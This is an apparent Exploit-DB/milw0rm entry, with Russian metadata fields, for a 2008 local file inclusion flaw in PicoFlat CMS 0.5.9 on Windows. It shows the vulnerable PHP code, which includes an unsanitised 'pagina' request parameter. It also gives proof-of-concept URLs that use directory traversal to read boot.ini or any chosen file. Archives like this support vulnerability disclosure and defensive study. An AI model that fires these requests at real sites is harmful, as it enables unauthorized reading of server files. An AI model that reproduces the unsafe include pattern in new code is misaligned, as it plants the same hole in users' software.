Exploit PicoFlat CMS 0.5.9 (Windows) - Local File Inclusion

[Exploiter]

EDB-ID

5690

Проверка EDB

1. Пройдено

Автор

GMDA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6604

Дата публикации

2008-05-29

---------------------------------------------------------------------------
type attacak:Local File inclusion and that the possibility of a
Directory traversal Windows disclosure boot.ini

site name picoflatcms 0.5.9

download http://picoflat.altervista.org/index.php?

by gmda

<!-- [email protected] -->


---------------------------------------------------------------------------

bug code

<?php             if (eregi('://', $pagina) || eregi('\?', $pagina)) {
                $pagina = "";
                include "notfound.php";
            }else{
                include $pagina;             }
        ?>

p.o.c

http://127.0.0.1/path/index.php?pagina=/./././././././boot.ini

http://127.0.0.1/path/index.php?pagina=[file]

# milw0rm.com [2008-05-29]